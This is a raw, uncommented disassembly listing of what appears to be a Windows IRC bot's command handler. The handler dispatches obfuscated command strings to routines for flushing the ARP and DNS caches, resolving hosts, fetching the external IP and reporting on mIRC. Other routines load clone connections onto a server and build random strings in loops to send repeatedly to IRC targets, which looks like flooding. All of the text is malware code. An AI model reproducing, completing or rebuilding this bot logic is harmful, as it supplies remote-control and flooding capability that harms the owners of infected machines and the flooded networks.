		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_174]
		push	10h
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_42A100
		add	esp, 10h
		cmp	eax, edi
		jl	loc_40D0D6


loc_40D048:				; CODE XREF: sub_40A9FE+26D2j
		push	edi
		push	offset aChanI	; "$chan(%i)"
		push	[ebp+arg_C]
		call	sub_429B03
		add	esp, 0Ch
		push	0
		push	1
		push	ebx
		push	[ebp+arg_4]
		call	dword_456F9C	; SendMessageA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_18480]
		push	eax
		call	sub_42A5E0
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_42A100
		add	esp, 0Ch
		cmp	edi, eax
		jge	short loc_40D09C
		lea	eax, [ebp+var_18480]
		push	offset asc_441410 ; ", "
		push	eax
		call	sub_42A5E0
		pop	ecx
		pop	ecx


loc_40D09C:				; CODE XREF: sub_40A9FE+2689j
		lea	eax, [ebp+var_174]
		push	eax
		call	sub_42A100
		cmp	edi, eax
		pop	ecx
		jnz	short loc_40D0C0
		lea	eax, [ebp+var_18480]
		push	offset dword_43AB8C
		push	eax
		call	sub_42A5E0
		pop	ecx
		pop	ecx


loc_40D0C0:				; CODE XREF: sub_40A9FE+26ADj
		lea	eax, [ebp+var_174]
		inc	edi
		push	eax
		call	sub_42A100
		cmp	edi, eax
		pop	ecx
		jle	loc_40D048


loc_40D0D6:				; CODE XREF: sub_40A9FE+2644j
		lea	eax, [ebp+var_18480]
		cmp	[ebp+arg_18], 0
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_2C20]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		push	offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
		push	offset aSUserIsRunning ; "%s User is running mIRC v %s,	Connected"...
		jnz	short loc_40D11A
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	short loc_40D124
; ---------------------------------------------------------------------------


loc_40D11A:				; CODE XREF: sub_40A9FE+270Dj
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_40D124:				; CODE XREF: sub_40A9FE+271Aj
		add	esp, 28h
		push	[ebp+arg_C]
		call	dword_437048	; UnmapViewOfFile
		push	[ebp+arg_68]
		call	dword_437044	; CloseHandle
		jmp	short loc_40D15F
; ---------------------------------------------------------------------------


loc_40D13B:				; CODE XREF: sub_40A9FE+2478j
		cmp	[ebp+arg_14], 0
		jnz	short loc_40D15F
		cmp	[ebp+arg_18], 0
		jnz	short loc_40D169
		push	offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
		push	offset aSClientNotOpen ; "%s Client not	open."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40D15F:				; CODE XREF: sub_40A9FE+273Bj
					; sub_40A9FE+2741j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40D169:				; CODE XREF: sub_40A9FE+2747j
		push	offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
		push	offset aSClientNotOpen ; "%s Client not	open."
		jmp	loc_414744
; ---------------------------------------------------------------------------


loc_40D178:				; CODE XREF: sub_40A9FE+2460j
		push	eax
		lea	eax, [ebp+var_2B80]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	2
		pop	edi
		cmp	[ebp+arg_4], edi
		jle	short loc_40D1CF


loc_40D195:				; CODE XREF: sub_40A9FE+27CFj
		mov	eax, [ebx+edi*4]
		test	eax, eax
		jz	short loc_40D1C9
		push	eax
		lea	eax, [ebp+var_1AB90]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_1AB90]
		push	104h
		push	eax
		lea	eax, [ebp+var_2B80]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40D1C9:				; CODE XREF: sub_40A9FE+279Cj
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_40D195


loc_40D1CF:				; CODE XREF: sub_40A9FE+2795j
		lea	eax, [ebp+var_2B80]
		push	eax
		call	sub_426CEB
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2B80]
		push	eax
		push	offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
		jz	short loc_40D1F3
		push	offset aSCommandSentS ;	"%s Command sent: \"%s\""
		jmp	short loc_40D1F8
; ---------------------------------------------------------------------------


loc_40D1F3:				; CODE XREF: sub_40A9FE+27ECj
		push	offset aSClientNotOp_0 ; "%s Client not	open or	found: \"%s\""


loc_40D1F8:				; CODE XREF: sub_40A9FE+27F3j
					; sub_40A9FE+2941j ...
		cmp	[ebp+arg_18], 0
		jnz	loc_414791
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	loc_41479B
; ---------------------------------------------------------------------------


loc_40D212:				; CODE XREF: sub_40A9FE+2455j
		push	dword ptr [ebx]
		push	offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40D240
		call	sub_427EDC
		test	eax, eax
		mov	ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	edi, offset aSArpFlushed_ ; "%s	ARP flushed."
		jnz	loc_40B640
		mov	edi, offset aSFailedToFlush ; "%s Failed to flush ARP."
		jmp	loc_40B640
; ---------------------------------------------------------------------------


loc_40D240:				; CODE XREF: sub_40A9FE+281Fj
		push	dword ptr [ebx]
		push	offset aWpuwr_6yfru ; "WpuWr.6YFRU/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40D27F
		mov	eax, dword_456E14
		test	eax, eax
		jz	short loc_40D275
		call	eax ; dword_456E14
		test	eax, eax
		mov	ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jz	short loc_40D26B
		mov	edi, offset aSDnsCacheFlush ; "%s DNS cache flushed."
		jmp	loc_40B640
; ---------------------------------------------------------------------------


loc_40D26B:				; CODE XREF: sub_40A9FE+2861j
		mov	edi, offset aSFailedToFlu_0 ; "%s Failed to flush DNS cache."
		jmp	loc_40B640
; ---------------------------------------------------------------------------


loc_40D275:				; CODE XREF: sub_40A9FE+2856j
		mov	edi, offset aSFailedToLoadD ; "%s Failed to load dnsapi.dll."
		jmp	loc_40B63B
; ---------------------------------------------------------------------------


loc_40D27F:				; CODE XREF: sub_40A9FE+284Dj
		push	dword ptr [ebx]
		push	offset a6x2ka0buubb_ ; "6x2Ka0buUbB."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40D344
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D2CE
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."


loc_40D2A1:				; CODE XREF: sub_40A9FE+2A7Cj
					; sub_40A9FE+937Ej
		cmp	[ebp+arg_14], 0
		jnz	short loc_40D2BD
		cmp	[ebp+arg_18], 0


loc_40D2AB:				; CODE XREF: sub_40A9FE+4EB3j
					; sub_40A9FE+519Cj
		jnz	short loc_40D2C7


loc_40D2AD:				; CODE XREF: sub_40A9FE+9275j
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40D2BD:				; CODE XREF: sub_40A9FE+28A7j
					; sub_40A9FE+4EAAj ...
		cmp	[ebp+arg_18], 0


loc_40D2C1:				; CODE XREF: sub_40A9FE+617Fj
		jz	loc_414995


loc_40D2C7:				; CODE XREF: sub_40A9FE:loc_40D2ABj
					; sub_40A9FE+6164j ...
		push	edi


loc_40D2C8:				; CODE XREF: sub_40A9FE+9171j
		push	ebx
		jmp	loc_414744
; ---------------------------------------------------------------------------


loc_40D2CE:				; CODE XREF: sub_40A9FE+2897j
		push	eax
		call	dword_456F7C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4C], eax
		jz	short loc_40D312
		push	2
		lea	eax, [ebp+var_4C]
		push	4
		push	eax
		call	dword_456ED8	; gethostbyaddr
		test	eax, eax
		jz	short loc_40D330
		push	dword ptr [eax]


loc_40D2F1:				; CODE XREF: sub_40A9FE+2930j
		push	dword ptr [ebx+4]
		cmp	[ebp+arg_18], 0
		push	offset aPimgt12pvee_ ; "pImgT12pvEE."
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSSSS_	; "%s %s: %s ->	%s."
		jnz	loc_414988
		jmp	loc_414957
; ---------------------------------------------------------------------------


loc_40D312:				; CODE XREF: sub_40A9FE+28DDj
		push	dword ptr [ebx+4]
		call	dword_456FD4	; gethostbyname
		test	eax, eax
		jz	short loc_40D330
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	eax
		call	dword_456FDC	; inet_ntoa
		push	eax
		jmp	short loc_40D2F1
; ---------------------------------------------------------------------------


loc_40D330:				; CODE XREF: sub_40A9FE+28EFj
					; sub_40A9FE+291Fj
		push	offset aJgyqn0dmzir12z ; "jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0"
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSS_1	; "%s %s"
		jmp	loc_40D1F8
; ---------------------------------------------------------------------------


loc_40D344:				; CODE XREF: sub_40A9FE+288Cj
		push	dword ptr [ebx]
		push	offset a4rmbzFcic21 ; "4RmBz/FCic21"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40D367
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	dword ptr [esi+0Ch]
		call	sub_41BE01


loc_40D35F:				; CODE XREF: sub_40A9FE+1462j
					; sub_40A9FE+1B6Dj
		add	esp, 0Ch
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40D367:				; CODE XREF: sub_40A9FE+2951j
		push	dword ptr [ebx]
		push	offset aSc_coSwlk_ ; "SC.Co/swLK/."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40D40C
		mov	ebx, offset dword_457C40
		push	offset byte_454A54
		push	ebx
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_40D394
		push	ebx
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	short loc_40D3F5


loc_40D394:				; CODE XREF: sub_40A9FE+2989j
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aHm1h_049e4o ; "Hm1H.049e4O/"
		mov	edi, offset aSObtainingExte ; "%s Obtaining external IP"
		jnz	short loc_40D3BA
		cmp	[ebp+arg_18], 0
		jnz	short loc_40D3C0
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40D3BA:				; CODE XREF: sub_40A9FE+29A4j
		cmp	[ebp+arg_18], 0
		jz	short loc_40D3CF


loc_40D3C0:				; CODE XREF: sub_40A9FE+29AAj
		push	ebx
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 10h


loc_40D3CF:				; CODE XREF: sub_40A9FE+29C0j
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_41CF25
		mov	edi, eax
		push	2710h
		push	edi
		call	dword_43707C	; WaitForSingleObject
		push	edi
		call	dword_437044	; CloseHandle


loc_40D3F5:				; CODE XREF: sub_40A9FE+2994j
		push	0
		push	1
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	dword ptr [esi+0Ch]
		call	sub_41C238
		jmp	loc_41479B
; ---------------------------------------------------------------------------


loc_40D40C:				; CODE XREF: sub_40A9FE+2974j
		push	dword ptr [ebx]
		push	offset aLees11vpbnf0 ; "LeEs11vPbnf0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40F05B
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		push	dword ptr [ebx+4]
		push	offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40D51D
		xor	ecx, ecx
		cmp	[ebx+4], ecx
		jz	loc_40E0E1
		cmp	[ebx+8], ecx
		jz	loc_40E0E1
		cmp	[ebx+0Ch], ecx
		jz	loc_40E0E1
		mov	eax, [ebx+10h]
		cmp	eax, ecx
		jz	loc_40E0E1
		push	eax
		call	sub_42A100
		cmp	eax, 0Fh
		pop	ecx
		jle	short loc_40D47F
		mov	edi, offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		mov	ebx, offset aSTooMuchConns_ ; "%s Too Much conns."
		jmp	loc_40D2A1
; ---------------------------------------------------------------------------


loc_40D47F:				; CODE XREF: sub_40A9FE+2A70j
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_40D48C
		mov	dword ptr [ebx+14h], offset byte_454A54


loc_40D48C:				; CODE XREF: sub_40A9FE+2A85j
		push	dword ptr [ebx+14h]
		push	dword ptr [ebx+10h]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_4266D3
		add	esp, 10h
		cmp	[ebp+arg_14], 0
		jnz	short loc_40D4E9
		cmp	[ebp+arg_18], 0
		jnz	short loc_40D4EF
		push	dword ptr [ebx+10h]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		push	offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		push	offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_40D4E9:				; CODE XREF: sub_40A9FE+2AB4j
		cmp	[ebp+arg_18], 0
		jz	short loc_40D51D


loc_40D4EF:				; CODE XREF: sub_40A9FE+2ABAj
		push	dword ptr [ebx+10h]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		push	offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		push	offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)"
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 1Ch


loc_40D51D:				; CODE XREF: sub_40A9FE+2A38j
					; sub_40A9FE+2AEFj
		push	dword ptr [ebx+4]
		push	offset aA52n11svyfw0 ; "A52N11SVYFw0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40D5E8
		cmp	[ebx+8], eax
		jz	loc_40D5E8
		push	2710h
		push	eax
		lea	eax, [ebp+var_5CA40]
		push	eax
		call	sub_429760
		push	104h
		lea	eax, [ebp+var_2FAC]
		push	0
		push	eax
		call	sub_429760
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_2FAC]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 24h
		push	3
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_68], eax
		jle	short loc_40D5C1


loc_40D57F:				; CODE XREF: sub_40A9FE+2BC1j
		mov	eax, [ebp+arg_68]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40D5B6
		push	eax
		lea	eax, [ebp+var_5CA40]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_5CA40]
		push	104h
		push	eax
		lea	eax, [ebp+var_2FAC]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40D5B6:				; CODE XREF: sub_40A9FE+2B89j
		inc	[ebp+arg_68]
		mov	eax, [ebp+arg_68]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40D57F


loc_40D5C1:				; CODE XREF: sub_40A9FE+2B7Fj
		lea	eax, [ebp+var_2FAC]
		push	eax
		lea	eax, [ebp+var_1F9B0]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_1F9B0]
		push	eax
		call	sub_42638E
		add	esp, 10h


loc_40D5E8:				; CODE XREF: sub_40A9FE+2B2Bj
					; sub_40A9FE+2B34j
		push	dword ptr [ebx+4]
		push	offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40D696
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	loc_40D696
		push	eax
		lea	eax, [ebp+var_5CC0]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_68], eax
		jle	short loc_40D667


loc_40D625:				; CODE XREF: sub_40A9FE+2C67j
		mov	eax, [ebp+arg_68]
		mov	eax, [ebx+eax*4]
		test	eax, eax
		jz	short loc_40D65C
		push	eax
		lea	eax, [ebp+var_E840]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_E840]
		push	100h
		push	eax
		lea	eax, [ebp+var_5CC0]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40D65C:				; CODE XREF: sub_40A9FE+2C2Fj
		inc	[ebp+arg_68]
		mov	eax, [ebp+arg_68]
		cmp	eax, [ebp+arg_4]
		jl	short loc_40D625


loc_40D667:				; CODE XREF: sub_40A9FE+2C25j
		lea	eax, [ebp+var_5CC0]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		add	esp, 18h


loc_40D696:				; CODE XREF: sub_40A9FE+2BF6j
					; sub_40A9FE+2C01j
		push	dword ptr [ebx+4]
		push	offset aR7wrsQhek_0 ; "r7WRs/qHek.0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40DC31
		cmp	[ebx+8], eax
		jz	loc_40DC31
		call	sub_429B9C
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_768]
		idiv	ecx
		push	0Fh
		pop	ecx
		rep movsd
		movsw
		movsb
		add	dl, 41h
		mov	byte ptr [ebp+arg_68+3], dl
		call	sub_429B9C
		push	0Fh
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		movsx	eax, byte ptr [ebp+arg_68+3]
		push	edx
		push	eax
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		lea	eax, [ebp+var_247D0]
		push	edx
		push	offset dword_441180
		push	eax
		call	sub_429B03
		add	esp, 0BCh
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		lea	eax, [ebp+var_295F0]
		push	edx
		push	offset dword_441158
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_2E410]
		push	offset unk_4410C8
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_247D0]
		mov	edi, offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	edi
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_295F0]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	edi
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		add	esp, 44h
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_2E410]
		push	eax
		lea	eax, [ebp+var_59BC]
		push	dword ptr [ebx+8]
		push	edi
		push	offset aSSS	; "%s %s :%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		mov	edi, 2710h
		lea	eax, [ebp+var_2BD00]
		push	edi
		push	0
		push	eax
		call	sub_429760
		push	edi
		lea	eax, [ebp+var_4DFE0]
		push	0
		push	eax
		call	sub_429760
		add	esp, 34h
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+arg_68], edx
		call	sub_429B9C
		cdq
		idiv	esi
		mov	esi, dword_437188
		mov	[ebp+var_4], 8Fh
		mov	[ebp+arg_8], edx


loc_40D9DB:				; CODE XREF: sub_40A9FE+3063j
		call	esi ; dword_437188
		push	eax
		call	sub_429B8F
		cmp	[ebp+arg_68], 0Fh
		pop	ecx
		jle	short loc_40D9F8
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+arg_68], edx


loc_40D9F8:				; CODE XREF: sub_40A9FE+2FEAj
		cmp	[ebp+arg_8], 0Fh
		jle	short loc_40DA0C
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+arg_8], edx


loc_40DA0C:				; CODE XREF: sub_40A9FE+2FFEj
		call	sub_429B9C
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		movsx	eax, [ebp+edx+var_768]
		push	eax
		lea	eax, [ebp+var_2BD00]
		push	[ebp+arg_8]
		push	[ebp+arg_68]
		push	offset dword_4410B4
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 18h
		lea	eax, [ebp+var_2BD00]
		push	eax
		lea	eax, [ebp+var_4DFE0]
		push	eax
		call	dword_437090	; lstrcatA
		inc	[ebp+arg_68]
		inc	[ebp+arg_8]
		call	esi ; dword_437188
		push	eax
		call	sub_429B8F
		dec	[ebp+var_4]
		pop	ecx
		jnz	loc_40D9DB
		lea	eax, [ebp+var_4DFE0]
		mov	esi, offset aSSS ; "%s %s :%s"
		push	eax
		lea	eax, [ebp+var_33230]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_33230]
		push	eax
		call	sub_42638E
		push	edi
		lea	eax, [ebp+var_30B20]
		push	0
		push	eax
		call	sub_429760
		push	edi
		lea	eax, [ebp+var_10F50]
		push	0
		push	eax
		call	sub_429760
		add	esp, 30h
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+arg_68], edx
		call	sub_429B9C
		push	0Fh
		mov	[ebp+var_4], 8Fh
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+arg_8], edx


loc_40DAD8:				; CODE XREF: sub_40A9FE+3168j
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		cmp	[ebp+arg_68], 0Fh
		pop	ecx
		jle	short loc_40DAF9
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+arg_68], edx


loc_40DAF9:				; CODE XREF: sub_40A9FE+30EBj
		cmp	[ebp+arg_8], 0Fh
		jle	short loc_40DB0D
		call	sub_429B9C
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+arg_8], edx


loc_40DB0D:				; CODE XREF: sub_40A9FE+30FFj
		call	sub_429B9C
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		movsx	eax, [ebp+edx+var_768]
		push	eax
		lea	eax, [ebp+var_30B20]
		push	[ebp+arg_8]
		push	[ebp+arg_68]
		push	offset dword_4410A4
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 18h
		lea	eax, [ebp+var_30B20]
		push	eax
		lea	eax, [ebp+var_10F50]
		push	eax
		call	dword_437090	; lstrcatA
		inc	[ebp+arg_68]
		inc	[ebp+arg_8]
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		dec	[ebp+var_4]
		pop	ecx
		jnz	loc_40DAD8
		lea	eax, [ebp+var_10F50]
		push	eax
		lea	eax, [ebp+var_1D2A0]
		push	dword ptr [ebx+8]
		push	offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_1D2A0]
		push	eax
		call	sub_42638E
		push	edi
		lea	eax, [ebp+var_1D2A0]
		push	0
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_10F50]
		push	eax
		lea	eax, [ebp+var_1D2A0]
		push	dword ptr [ebx+8]
		push	offset aG7IvGks9l1 ; "g7/IV/gks9L1"
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_1D2A0]
		push	eax
		call	sub_42638E
		lea	eax, [ebp+var_2230]
		push	eax
		call	sub_426761
		add	esp, 40h
		lea	eax, [ebp+var_2230]
		mov	esi, offset aSS_1 ; "%s	%s"
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_59BC]
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_59BC]
		push	offset aYjmlc1btsf10 ; "yJmlc1btsF10"
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_59BC]
		push	eax
		call	sub_42638E
		mov	esi, [ebp+arg_C]
		mov	edi, dword_437178
		add	esp, 28h


loc_40DC31:				; CODE XREF: sub_40A9FE+2CA4j
					; sub_40A9FE+2CADj
		push	dword ptr [ebx+4]
		push	offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40DE47
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	loc_40DE47
		push	eax
		lea	eax, [ebp+var_5FC8]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	4
		pop	eax
